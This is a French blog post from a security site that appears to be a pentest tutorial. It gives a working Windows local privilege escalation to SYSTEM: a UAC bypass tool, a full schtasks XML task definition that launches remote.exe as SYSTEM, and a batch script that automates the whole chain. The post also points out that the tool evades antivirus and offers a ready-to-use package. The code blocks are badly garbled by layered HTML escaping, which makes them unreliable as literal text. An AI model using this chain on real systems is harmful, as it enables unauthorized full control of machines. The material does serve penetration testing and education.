Il y a quelques jours ASafety vous communiquait la technique d’escalade de privilège SYSTEM sur les environnements Windows récents avec la méthode AT remise au goût du jour.
Vous n’êtes pas sans savoir que la commande AT de gestion des tâches planifiées est considérée comme obsolète sur les OS Windows depuis Vista. Son digne successeur se nomme “schtask”. Cette nouvelle commande fournit un grand nombre de fonctionnalités additionnelles, notamment le paramétrage complet d’une tâche planifiée à partir d’un fichier XML.
L’idée est toujours la même, exploiter le scheduler de tâche natif sous Windows pour l’obtention de privilège d’administration SYSTEM sur la machine. Ces techniques sont toutes aussi utiles pour les administrateurs systèmes, les intégrateurs de solutions logicielles que pour les pentesteurs.
Les principaux points bloquants pour l’obtention d’un shell SYSTEM via les tâches planifiées sont :
- La nécessité d’un shell sous un compte “administrateur”
- Le bypass de l’UAC (User Account Control)
- L’obtention d’un shell avec une interactivité graphique moindre (pour faciliter le travail des pentesteurs)
Comme détaillé dans le précédent article cité ci-dessus, le bypass de l’UAC se fait aisément à l’aide de nombreux outils, notamment celui du projet “bypassuac“. Il est nécessaire de ce munir de ce binaire sur le système ciblé.
Pour réduire l’interactivité graphique, l’outil “remote.exe” fourni par Microsoft dans les Windows Debugger Tools est amplement suffisant pour plusieurs raisons :
- Il assure la partie cliente et serveur à la fois
- Il existe une version x86 et x64 standalone
- Il est légitime de Microsoft et n’est donc pas considéré comme un programme suspect par les antivirus (idéal pour les pentesteurs)
- Il opère à même le terminal courant, permettant ainsi d’une élévation de privilège même dans les shell restreints
“Schtasks” est le successeur de la commande “at” depuis Windows Vista. Tous les deux font appel au scheduler pour exécuter des actions planifiées sous un contexte défini. Dans le cas de “schtasks”, ce contexte peut se déclarer dans un fichier XML.
Une fois la machine cible équipée du binaire “bypassuac.exe” et de “remote.exe”, il suffit de créer un fichier “schtasks.xml” avec les paramètres adéquates :
[xml]&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;lt;p&amp;amp;amp;gt;&amp;amp;amp;amp;lt;?xml version=&amp;amp;amp;amp;quot;1.0&amp;amp;amp;amp;quot; encoding=&amp;amp;amp;amp;quot;UTF-16&amp;amp;amp;amp;quot;?&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Task version=&amp;amp;amp;amp;quot;1.2&amp;amp;amp;amp;quot; xmlns=&amp;amp;amp;amp;quot;http://schemas.microsoft.com/windows/2004/02/mit/task&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;RegistrationInfo&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Date&amp;amp;amp;amp;gt;2008-03-26T16:40:47.4520087&amp;amp;amp;amp;lt;/Date&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Author&amp;amp;amp;amp;gt;CONTOSO\Administrator&amp;amp;amp;amp;lt;/Author&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/RegistrationInfo&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Triggers /&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Principals&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Principal id=&amp;amp;amp;amp;quot;Author&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;UserId&amp;amp;amp;amp;gt;SYSTEM&amp;amp;amp;amp;lt;/UserId&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;RunLevel&amp;amp;amp;amp;gt;HighestAvailable&amp;amp;amp;amp;lt;/RunLevel&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/Principal&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/Principals&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Settings&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;IdleSettings&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Duration&amp;amp;amp;amp;gt;PT10M&amp;amp;amp;amp;lt;/Duration&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;WaitTimeout&amp;amp;amp;amp;gt;PT1H&amp;amp;amp;amp;lt;/WaitTimeout&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;StopOnIdleEnd&amp;amp;amp;amp;gt;true&amp;amp;amp;amp;lt;/StopOnIdleEnd&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;RestartOnIdle&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/RestartOnIdle&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/IdleSettings&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;MultipleInstancesPolicy&amp;amp;amp;amp;gt;IgnoreNew&amp;amp;amp;amp;lt;/MultipleInstancesPolicy&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;DisallowStartIfOnBatteries&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/DisallowStartIfOnBatteries&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;StopIfGoingOnBatteries&amp;amp;amp;amp;gt;true&amp;amp;amp;amp;lt;/StopIfGoingOnBatteries&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;AllowHardTerminate&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/AllowHardTerminate&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;StartWhenAvailable&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/StartWhenAvailable&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;RunOnlyIfNetworkAvailable&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/RunOnlyIfNetworkAvailable&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;AllowStartOnDemand&amp;amp;amp;amp;gt;true&amp;amp;amp;amp;lt;/AllowStartOnDemand&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Enabled&amp;amp;amp;amp;gt;true&amp;amp;amp;amp;lt;/Enabled&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Hidden&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/Hidden&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;RunOnlyIfIdle&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/RunOnlyIfIdle&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;WakeToRun&amp;amp;amp;amp;gt;false&amp;amp;amp;amp;lt;/WakeToRun&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;ExecutionTimeLimit&amp;amp;amp;amp;gt;PT0S&amp;amp;amp;amp;lt;/ExecutionTimeLimit&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Priority&amp;amp;amp;amp;gt;7&amp;amp;amp;amp;lt;/Priority&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/Settings&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Actions Context=&amp;amp;amp;amp;quot;Author&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Exec&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Command&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;C:\remote.exe&amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;/Command&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;Arguments&amp;amp;amp;amp;gt;/s cmd SYSCMD&amp;amp;amp;amp;lt;/Arguments&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;WorkingDirectory&amp;amp;amp;amp;gt;C:\&amp;amp;amp;amp;lt;/WorkingDirectory&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/Exec&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/Actions&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;amp;lt;/Task&amp;amp;amp;amp;gt;&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;lt;p&amp;amp;amp;gt;[/xml]
Dans ce fichier, plusieurs lignes sont à modifier :
- La ligne de l’utilisateur pour l’exécution (SYSTEM) :
[xml]&amp;amp;amp;amp;lt;UserId&amp;amp;amp;amp;gt;SYSTEM&amp;amp;amp;amp;lt;/UserId&amp;amp;amp;amp;gt;[/xml]
- La commande à exécuter, à savoir “remote.exe” via son chemin d’accès absolu :
[xml]&amp;amp;amp;amp;lt;Command&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;C:\remote.exe&amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;/Command&amp;amp;amp;amp;gt;[/xml]
- Les paramètres à transmettre à la commande, à savoir lancer “remote.exe” en tant que serveur avec les privilèges SYSTEM :
[xml]&amp;amp;amp;amp;lt;Arguments&amp;amp;amp;amp;gt;/s cmd SYSCMD&amp;amp;amp;amp;lt;/Arguments&amp;amp;amp;amp;gt;[/xml]
- Enfin le répertoire de travail arbitraire :
[xml]&amp;amp;amp;amp;lt;WorkingDirectory&amp;amp;amp;amp;gt;C:\&amp;amp;amp;amp;lt;/WorkingDirectory&amp;amp;amp;amp;gt;[/xml]
Une fois ces modifications faites, le script Batch .bat suivant recense la suite des opérations :
[bash]&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;lt;p&amp;amp;amp;gt;:: Provided by ASafety.fr&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
@echo off&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
set BYPASSUACPATH=C:\bypassuac.exe&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
set REMOTEPATH=C:\remote.exe&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
set XMLPATH=C:\schtasks.xml&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
%BYPASSUACPATH% /c schtasks /delete /tn RemoteAsSystem /F&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
%BYPASSUACPATH% /c schtasks /create /tn RemoteAsSystem /xml %XMLPATH%&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
%BYPASSUACPATH% /c schtasks /run /tn RemoteAsSystem&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
ping 127.0.0.1 -n 2 &amp;amp;amp;amp;gt; NUL&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
%REMOTEPATH% /c %COMPUTERNAME% SYSCMD&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
&amp;amp;amp;lt;p&amp;amp;amp;gt;[/bash]
Le principe de fonctionnement est le suivant :
- Le chemin d’accès au binaire “bypassuac.exe” est à définir dans une variable.
- Le chemin d’accès au binaire “remote.exe” est à définir dans une variable.
- Le chemin d’accès au fichier XML “schtasks.xml” est à définir dans une variable.
- Le script supprime toute ancienne tâche planifiée nommée “RemoteAsSystem” en bypassant l’UAC.
- Le script crée une nouvelle tâche planifiée “RemoteAsSystem” en chargeant ses propriétés à partir du fichier XML prédéfini.
- La tâche planifiée créée est déclenchée manuellement en bypassant l’UAC.
- Un temps d’attente de 2 secondes est réalisé.
- Enfin, “remote.exe” est utilisé sous son mode “client” pour se connecter localement via le nom Netbios de la machine au serveur qui dispose des privilèges SYSTEM.
L’exécution de ce script donne le résultat suivant :
L’ensemble des binaires, outils et script ont été centralisés dans le package Win7_Local-Privilege-Escalation_SCHTASKS_BypassUAC afin de faire gagner du temps aux pentesteurs.
Cette méthode n’est pas nouvelle et est à considérer comme une évolution de la technique via AT avec le nouveau binaire SCHTASKS. Elle a été traitée en 2008 sur le blog TechNet de Microsoft. ASafety la fait suivre ici en fournissant un script Batch automatisé et un package prêt à l’emploi.
Sources & ressources :